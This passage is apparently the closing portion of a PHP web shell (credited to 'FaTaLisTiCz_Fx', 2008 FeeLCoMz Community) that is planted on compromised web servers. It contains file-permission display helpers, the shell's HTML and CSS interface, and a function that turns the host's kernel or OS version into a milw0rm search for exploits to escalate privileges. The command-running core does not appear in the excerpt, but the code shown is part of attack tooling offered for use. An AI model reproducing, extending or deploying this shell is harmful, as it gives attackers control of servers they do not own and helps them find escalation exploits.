  3242.   $group["write"] = ($mode & 00020)?"w":"-";
  3243.   $group["execute"] = ($mode & 00010)?"x":"-";
  3244.   $world["read"] = ($mode & 00004)?"r":"-";
  3245.   $world["write"] = ($mode & 00002)? "w":"-";
  3246.   $world["execute"] = ($mode & 00001)?"x":"-";
  3247.   if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
  3248.   if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
  3249.   if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
  3250.   return $type.join("",$owner).join("",$group).join("",$world);
  3251. }
  3252. function parse_perms($mode) {
  3253.   if (($mode & 0xC000) === 0xC000) {$t = "s";}
  3254.   elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  3255.   elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  3256.   elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  3257.   elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  3258.   elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  3259.   elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  3260.   else {$t = "?";}
  3261.   $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  3262.   $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  3263.   $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  3264.   return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
  3265. }
  3266. function parsesort($sort) {
  3267.   $one = intval($sort);
  3268.   $second = substr($sort,-1);
  3269.   if ($second != "d") {$second = "a";}
  3270.   return array($one,$second);
  3271. }
  3272. function view_perms_color($o) {
  3273.   if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
  3274.   elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
  3275.   else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
  3276. }
  3277. function str2mini($content,$len) {
  3278.   if (strlen($content) > $len) {
  3279.     $len = ceil($len/2) - 2;
  3280.     return substr($content, 0,$len)."...".substr($content,-$len);
  3281.   } else {return $content;}
  3282. }
  3283. function strips(&$arr,$k="") {
  3284.   if (is_array($arr)) { foreach($arr as $k=>$v) { if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); } } }
  3285.   else { $arr = stripslashes($arr); }
  3286. }
  3287.  
  3288. function getmicrotime() {
  3289.   list($usec, $sec) = explode(" ", microtime());
  3290.   return ((float)$usec + (float)$sec);
  3291. }
  3292.  
  3293. function milw0rm() {
  3294.   $Lversion = php_uname(r);
  3295.   $OSV = php_uname(s);
  3296.   if(eregi("Linux",$OSV)) {
  3297.     $Lversion = substr($Lversion,0,6);
  3298.     return "http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion;
  3299.   } else {
  3300.     $Lversion = substr($Lversion,0,3);
  3301.     return "http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;
  3302.   }
  3303. }
  3304. function tools() {
  3305.   echo "List of tools";
  3306. }
  3307.  
  3308. function sh_name() { return base64_decode("Removed").sh_ver; }
  3309. function htmlhead($safemode) {
  3310. $style = '
  3311. <style type="text/css">
  3312. body,table {font:8pt verdana;background-color:black;}
  3313. table {width:100%;}
  3314. table,td,#maininfo td {padding:3px;}
  3315. table,td,input,select,option {border:1px solid #808080;}
  3316. body,table,input,select,option {color:#FFFFFF;}
  3317. a {color:lightblue;text-decoration:none; } a:link {color:#5B5BFF;} a:hover {text-decoration:underline;} a:visited {color:#99CCFF;}
  3318. textarea {color:#dedbde;font:8pt Courier New;border:1px solid #666666;margin:2;}
  3319. #pagebar {padding:5px;border:3px solid #1E1E1E;border-collapse:collapse;}
  3320. #pagebar td {vertical-align:top;}
  3321. #pagebar,#pagebar p,.info,input,select,option {font:8pt tahoma;}
  3322. #pagebar a {font-weight:bold;color:#00FF00;}
  3323. #pagebar a:visited {color:#00CE00;}
  3324. #mainmenu {text-align:center;}
  3325. #mainmenu a {text-align: center;padding: 0px 5px 0px 5px;}
  3326. #maininfo,.barheader,.bartitle {text-align:center;}
  3327. .fleft {float:left;text-align:left;}
  3328. .fright {float:right;text-align:right;}
  3329. .bartitle {padding:5px;border:2px solid #1F1F1F;}
  3330. .barheader {font-weight:bold;padding:5px;}
  3331. .info,.info td,.info th {margin:0;padding:0;border-collapse:collapse;}
  3332. .info th {color:#00FF00;text-align:left;width:13%;}
  3333. .contents,.explorer {border-collapse:collapse;}
  3334. .contents,.explorer td,th {vertical-align:top;}
  3335. .mainpanel {border-collapse:collapse;padding:5px;}
  3336. .barheader,.mainpanel table,td {border:1px solid #333333;}
  3337. input[type="submit"],input[type="button"] {border:1px solid #000000;}
  3338. input[type="text"] {padding:3px;}
  3339. .shell {background-color:#000000;color:#00FF00;padding:5px;font-size:12;}
  3340. .fxerrmsg {color:red; font-weight:bold;}
  3341. #pagebar,#pagebar p,h1,h2,h3,h4,form {margin:0;}
  3342. #pagebar,.mainpanel,input[type="submit"],input[type="button"] {background-color:#4A4A4A;}
  3343. .bartitle,input,select,option,input[type="submit"]:hover,input[type="button"]:hover {background-color:#333333;}
  3344. textarea,#pagebar input[type="text"],.mainpanel input[type="text"],input[type="file"],select,option {background-color:#000000;}
  3345. input[type="label"] { text-align:right;}
  3346. .info,.info td,input[type="label"] {border:0;background:none;}
  3347. </style>
  3348. ';
  3349. $html_start = '
  3350. <html><head>
  3351. <title>'.getenv("HTTP_HOST").' - '.sh_name().'</title>
  3352. '.$style.'
  3353. </head>
  3354. <body>
  3355. <div class=bartitle><h4>'.sh_name().'</h4>.: No System is Perfectly Safe :.</div>
  3356. ';
  3357. return $html_start;
  3358. };
  3359. function footer() {
  3360.   echo "<div class=bartitle colspan=2><font size=1 color=#00FF00> By FaTaLisTiCz_Fx, � 2008 FeeLCoMz Community, Generated: ".round(getmicrotime()-starttime,4)." seconds</font></div>";
  3361. }
  3362. chdir($lastdir); fx29shexit();